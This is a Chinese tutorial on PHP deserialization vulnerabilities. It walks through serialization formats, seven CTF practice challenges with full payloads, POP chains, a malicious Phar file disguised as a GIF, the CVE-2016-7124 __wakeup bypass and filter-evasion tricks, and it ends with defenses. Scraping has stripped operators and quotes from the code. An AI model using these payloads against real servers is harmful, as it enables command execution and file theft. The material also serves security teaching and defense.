PHP 反序列化漏洞从入门到实战 📅 2026/6/19 4:38:13 前言序列化是 PHP 开发中广泛用于 Session、缓存、数据传输的机制但如果直接将用户可控数据传入unserialize()攻击者可构造恶意序列化字符串自动触发魔术方法实现任意文件读取、远程命令执行、服务器沦陷。在 CTF、渗透测试中反序列化属于难度偏高但套路固定的漏洞红队常结合 Phar 协议实现无unserialize()入口的文件触发利用。本文结合课堂 PPT 实战例题完整梳理学习路线所有代码可本地复现。一、序列化与反序列化基础原理1.1 通俗理解序列化把复杂对象 / 数组 “拆成零件打包成字符串”方便存储、网络传输 反序列化收到字符串后重新组装回原始对象 / 数组。 类比网购桌子厂家拆分板材打包序列化买家收货组装反序列化。1.2 两大核心函数serialize($val)序列化除资源 resource 外所有类型均可序列化unserialize($str)反序列化漏洞核心函数可控输入传入即存在风险基础数据类型序列化演示php运行?php echo serialize(null); // N; echo serialize(true); // b:1; echo serialize(false); // b:0; echo serialize(123); // i:123; echo serialize(3.14); // d:3.14; echo serialize(hello); // s:5:hello; echo serialize([1,2,3]); // a:3:{i:0;i:1;i:1;i:2;i:2;i:3;} ?1.3 数组序列化示例php运行?php $arr [namezhangsan,age20,score99]; $ser serialize($arr); echo $ser; //输出a:3:{s:4:name;s:8:zhangsan;s:3:age;i:20;s:5:score;i:99;} //解析a数组33个键值对1.4 对象序列化基础php运行?php class User{ public $name admin; public $role administrator; } $obj new User(); echo serialize($obj); //输出O:4:User:2:{s:4:name;s:5:admin;s:4:role;s:13:administrator;} //O代表对象4是类名字符长度2是属性数量1.5 序列化完整标识符对照表表格标识类型格式示例NNULLN;b布尔b:1; / b:0;i整型i:123;d浮点d:3.14;s普通字符串s:5:hello;S转义字符串S:5:he\6c\6co;a数组a:2:{...}O对象O:4:Test:1:{...}r/R对象 / 指针引用r:1; R:2;1.6 访问修饰符对序列化字符串的影响public、protected、private 属性序列化后格式不同CTF 私有属性题目高频考点php运行?php class Test { public $pub public; protected $pro protected; private $pri private; } echo serialize(new Test()); //O:4:Test:3:{ //s:3:pub;s:6:public; //s:6:*pro;s:9:protected; // protected前缀 \0*\0 //s:9:Testpri;s:7:private;// private前缀 \0类名\0 //}规则汇总public直接写属性名s:3:pubprotected\0*\0属性名长度 3private\0类名\0属性名长度 类名长度 2二、7 道自建靶场 CTF 例题由浅入深完整 Payload例题 1数组反序列化基础题源码php运行?php highlight_file(__FILE__); $data unserialize($_POST[data]); if ($data[username] admin333 $data[password] 837432894923478) { system(cat /flag); } else { echo wrong!; } ?Payload 生成脚本php运行?php $arr array(usernameadmin333,password837432894923478); $ser serialize($arr); echo $ser;POST 传参dataa:2:{s:8:username;s:8:admin333;s:8:password;s:15:837432894923478;}例题 2public 对象基础题源码php运行?php highlight_file(__FILE__); class Person { public $name; public $age; function __construct($name, $age) { $this-name $name; $this-age $age; } } $person unserialize($_POST[person]); if ($person-name admin333 $person-age 24) { system(cat /flag); } else { echo wrong!; } ?PayloadO:6:Person:2:{s:4:name;s:8:admin333;s:3:age;i:24;}例题 3protectedprivate 私有属性题源码存在protected $name、private $age读取getName()/getAge()校验输出对象触发魔术方法。 解题要点序列化字符串必须带上\0不可见字符提交时需要 url 编码。 Payload 生成echo urlencode(serialize($person));例题 4__destruct 析构方法命令执行漏洞核心脚本销毁时自动执行__destruct()可控变量传入system()源码核心逻辑php运行class Person { private $name; //存储函数名system private $age; //存储命令cat /flag function __destruct() { $func $this-name; $func($this-age); } } $person unserialize($_POST[person]);Payload 生成脚本php运行?php class Person { private $name; private $age; function __construct($name, $age) { $this-name $name; $this-age $age; } } $person new Person(system,cat /flag_9263.txt); echo urlencode(serialize($person));例题 5__toString 文件读取 __wakeup 重置题目同时存在__wakeup()重置 age18、__toString()执行file_get_contents 反序列化触发__wakeup修改属性echo 对象触发__toString读取文件。例题 6CVE-2016-7124 __wakeup 绕过高频考点漏洞原理PHP5.6.25 / PHP7.0.10 存在漏洞序列化字符串中声明的属性数量大于实际属性数__wakeup()不会执行。 题目代码php运行class Person { private $name; private $age; function __wakeup() { $this-age 18; //强制覆盖绕过即可保留我们传入的命令 } function __destruct() { $func $this-name; $func($this-age); } }绕过 Payload 生成php运行?php $person new Person(system,cat /flag_a47b33606.txt); $s serialize($person); //将属性数量2改为3绕过wakeup $bypass str_replace(O:6:Person:2,O:6:Person:3,$s); echo urlencode($bypass);例题 7引用 绕过等值判断利用序列化 R/r 引用符号让两个私有属性指向同一内存地址绕过$this-name $this-age严格相等判断。 Payload 核心构造对象时属性互相引用$this-name $this-age;三、PHP 魔术方法全解反序列化漏洞核心桥梁魔术方法以双下划线__开头满足特定条件自动调用是漏洞利用的关键跳板。3.1 生命周期核心方法__construct()实例化new 类()触发反序列化不会调用__destruct()对象销毁、脚本结束自动触发反序列化必触发最常用入口__sleep()序列化 serialize 前执行筛选需要序列化的属性__wakeup()unserialize 反序列化完成后立刻触发常用来安全校验可被 CVE 漏洞绕过PHP7.4 新增__serialize()/__unserialize()优先级高于 sleep/wakeup3.2 字符串转换跳板__toString ()对象被当作字符串使用时触发echo $obj、字符串拼接、print、printf。 典型利用php运行class Reader { public $filename; public function __toString() { return file_get_contents($this-filename); //读取任意文件 } } class Printer { public $obj; public function __destruct() { echo $this-obj; //触发__toString } }POP 链流程反序列化→__destruct→echo→__toString→文件读取3.3 函数调用跳板__invoke ()对象像函数一样$obj()调用时触发常用来执行 system/eval 命令。3.4 方法 / 属性访问跳板POP 链必备__call()调用不存在实例方法触发__callStatic()调用不存在静态方法触发__get()读取私有 / 不存在属性触发__set()赋值私有 / 不存在属性触发__isset()/__unset()isset、unset 访问属性触发魔术方法触发汇总表表格魔术方法反序列化直接触发触发场景利用定位__construct❌new 实例化无__destruct✅脚本结束 / 对象销毁漏洞入口首选__wakeup✅unserialize 执行完毕入口、绕过目标__toString❌对象当字符串输出POP 链中间跳板__invoke❌对象作为函数调用命令执行跳板__call/__get❌访问不存在方法 / 属性POP 链串联跳板四、POP 链面向属性编程构造原理4.1 POP 链定义单一类无法直接执行危险操作时通过多个类的魔术方法串联形成完整攻击链路称为 POP 链。 三要素入口点反序列化自动触发__destruct /__wakeup跳板 Gadget__toString、__call、__get 等串联逻辑Sink 危险终点system ()、eval ()、file_get_contents、unlink 等高危函数4.2 标准 POP 链流程示例plaintext反序列化对象 → __destruct()执行echo输出对象A → 对象A触发__toString() → 对象A内部调用不存在方法 → 触发__call() → 调用system执行命令4.3 两种构造思路正向分析从入口__destruct/__wakeup 出发一步步追踪可触发的魔术方法逆向回溯先找到 system/eval 等危险函数反向寻找能调用它的魔术方法直到找到反序列化入口五、Phar 反序列化无 unserialize 也能触发5.1 原理Phar 是 PHP 归档文件文件元数据 Manifest 以序列化字符串存储当使用phar://协议访问文件操作函数时PHP 自动解析元数据并执行 unserialize无需页面存在unserialize()函数。5.2 Phar 文件四部分结构Stub 存根必须以__HALT_COMPILER(); ?结尾可伪装图片 GIF89aManifest 清单存放序列化对象攻击核心文件内容至少包含一个文件可选签名校验文件完整性5.3 可触发 Phar 反序列化的函数file_get_contents、fopen、file、stat、filesize、unlink、copy、md5_file、getimagesize、scandir 等几乎所有文件操作函数。5.4 生成恶意 Phar 文件代码php运行?php // php.ini设置 phar.readonly Off class Evil { public $cmd cat /flag; public function __destruct() { system($this-cmd); } } $phar new Phar(evil.gif); $phar-startBuffering(); //伪装成gif图片 $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); //写入恶意序列化对象 $phar-setMetadata(new Evil()); $phar-addFromString(test.txt, test); $phar-stopBuffering(); rename(evil.gif,1.gif);5.5 Phar 协议绕过过滤技巧大小写绕过Phar://、PHAR://URL 双重编码绕过字符串过滤协议嵌套php://filter/resourcephar://xxx后缀伪装成 jpg/gif 上传配合文件包含触发六、反序列化漏洞形成三大必要条件可控输入传入 unserializeGET/POST/Cookie/ 上传文件内容等用户可控数据直接反序列化页面存在可利用 Gadget 类代码中存在包含危险操作的魔术方法__destruct、__wakeup 等目标类可正常加载反序列化时类文件已引入、自动加载可找到类定义常见危险代码模式php运行//模式1直接接收POST参数 $obj unserialize($_POST[data]); //模式2读取Cookie反序列化 $user unserialize($_COOKIE[user]); //模式3读取缓存/数据库序列化数据 $cache unserialize($row[cache_data]); //模式4Phar协议触发无unserialize函数 file_get_contents(phar://upload/1.gif);七、生产环境完整防御方案7.1 最优方案彻底替换序列化方案使用json_encode/json_decode替代 serializeJSON 不支持对象、无魔术方法不存在漏洞无法替换时给序列化数据添加 HMAC 签名校验篡改后直接拒绝。php运行?php //签名安全示例 $secret random_key_123456; $raw serialize($user); $sign hash_hmac(sha256,$raw,$secret); $send base64_encode($raw.|.$sign); //校验 $tmp explode(|,base64_decode($send)); if(!hash_equals($tmp[1],hash_hmac(sha256,$tmp[0],$secret))) die(数据被篡改); $user unserialize($tmp[0]);7.2 PHP7 白名单限制allowed_classes仅允许指定安全类反序列化禁止任意对象php运行//只允许SafeUser类其他类直接失效 unserialize($data,[allowed_classes[SafeUser]]);7.3 代码审计与编码规范禁止在__destruct、__wakeup中执行 system、eval、文件读写等高风险操作所有魔术方法增加严格属性校验关闭 php.iniphar.readonly On禁止生成 phar 恶意文件过滤用户输入拒绝包含 O: 对象标识、phar:// 协议的请求内容。7.4 运维与 WAF 防护WAF 拦截phar://、恶意序列化特征字符串O:\d:静态代码扫描工具RIPS审计 unserialize 调用日志监控异常文件访问、POST 序列化字符串流量。八、总结基础核心掌握 serialize/unserialize 字符串格式、三种属性序列化差异能独立构造基础 Payload漏洞核心魔术方法触发链路__destruct 为最常用入口__wakeup 存在经典 CVE 绕过进阶考点POP 链串联多类魔术方法、Phar 无 unserialize 触发、引用绕过等值判断防御核心不信任任何用户可控序列化数据优先 JSON 替代配合签名 类白名单双重防护。